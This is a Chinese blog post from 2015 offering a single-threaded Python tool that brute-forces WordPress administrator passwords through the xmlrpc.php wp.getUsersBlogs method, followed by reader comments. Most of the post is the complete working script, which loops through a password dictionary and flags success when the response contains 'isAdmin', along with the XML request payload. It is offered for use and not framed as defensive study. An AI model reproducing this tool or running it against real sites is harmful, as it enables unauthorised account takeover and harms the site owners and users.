正在阅读:

[python]WordPress暴力破解工具单线程版

8,586

之前,本站发布过wordpress破解的相关脚本,使用的是php写的,最近练习使用python就又写了一个,使用的方法及原理和上次的不同,这次利用的wordpress xmlrpc.php实现破解的,比上一次成功率提升了不少,依照惯例,还是先发布单线程版,再发布多线程版。

原理介绍:

使用python向wordpress的xmlrpc.php post以下数据,从返回的响应体中查找相应的字符串,从而实现破解。。。

<?xml version="1.0" encoding="iso-8859-1"?>
        <methodCall>
          <methodName>wp.getUsersBlogs</methodName>
          <params>
           <param><value>admin</value></param>
           <param><value>www.waitalone.cn</value></param>
          </params>
        </methodCall>

以前php的版本是直接向wp-login.php提交相应的参数实现破解的。详情请参考下面的url

http://www.waitalone.cn/wordpress-login-crack.html

脚本代码:

#!/usr/bin/env python
# -*- coding: gbk -*-
# -*- coding: utf-8 -*-
# Date: 2015/4/29
# Created by 独自等待
# 博客 http://www.waitalone.cn/
import os, sys, time
import urllib2


def usage():
    os.system(['clear', 'cls'][os.name == 'nt'])
    print '+' + '-' * 50 + '+'
    print '\t Python WordPress暴力破解工具单线程版'
    print '\t   Blog:http://www.waitalone.cn/'
    print '\t       Code BY: 独自等待'
    print '\t       Time:2015-04-29'
    print '+' + '-' * 50 + '+'
    if len(sys.argv) != 4:
        print '用法: ' + os.path.basename(sys.argv[0]) + '  用户名  密码字典  待破解的网站URL地址  '
        print '实例: ' + os.path.basename(sys.argv[0]) + '  admin  pass.txt http://www.waitalone.cn/ '
        sys.exit()


def crack(password):
    """
    WordPress xmlrpc暴力破解
    """
    crack_url = url + 'xmlrpc.php'
    post = '''
        <?xml version="1.0" encoding="iso-8859-1"?>
        <methodCall>
          <methodName>wp.getUsersBlogs</methodName>
          <params>
           <param><value>''' + username + '''</value></param>
           <param><value>''' + password + '''</value></param>
          </params>
        </methodCall>
    '''
    header = {
        'UserAgent': 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)',
        'Referer': crack_url
    }
    try:
        req = urllib2.Request(crack_url, data=post, headers=header)
        res = urllib2.urlopen(req, timeout=10).read().decode('utf-8').encode('GBK')
    except Exception, msg:
        print '爷,发生错误了!', msg
    else:
        if '<int>405</int>' in res:
            print '[×] 报告爷,此站点已禁用XML-RPC服务!'
            sys.exit('\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start))
        elif 'faultCode' in res:
            print '[×] 报告爷,正在尝试密码:', password
        elif 'isAdmin' in res:
            print '\n[√] 报告爷,密码破解成功:', password
            sys.exit('\n[!] 卧槽,这么快就执行完了?用时:%s 秒' % (time.time() - start))


if __name__ == '__main__':
    usage()
    username = sys.argv[1]
    url = sys.argv[3]
    if url[-1] != '/': url += '/'
    print '[√] 目标:', url + '\n'
    start = time.time()
    if os.path.isfile(sys.argv[2]):
        passlist = [x.strip() for x in open(sys.argv[2])]
        print '[√] 报告爷,共有密码[ %d ]行!\n' % len(passlist)
        try:
            for password in passlist:
                crack(password)
        except KeyboardInterrupt:
            print '\n[!] 爷,按您的吩咐,已成功退出!'
    else:
        print '[X] 爷,没找到密码字典,破解个毛呀?'

wordpress破解结果

参考文章:http://www.waitalone.cn/wordpress-login-crack.html

目前有:3条访客评论,博主回复3

  1. 独裁
    2015-05-11 14:45

    留下脚印,证明我来过。

  2. cainiao
    2016-09-27 16:42

    加油

  3. 秋风
    2017-03-31 16:59

    站长你好:
    请问如果我在代码中添加一段随机生成字符串的函数,然后用这个函数返回的字符串当成密码怎么写呢?

    • 独自等待
      2017-04-06 13:47

      没有多难吧,可单独写一个随机字符串函数,请求前先实例化这个函数,将返回值当成密码写入到对应字段就行了呀。

留下脚印,证明你来过。

*

*

流汗坏笑撇嘴大兵流泪发呆抠鼻吓到偷笑得意呲牙亲亲疑问调皮可爱白眼难过愤怒惊讶鼓掌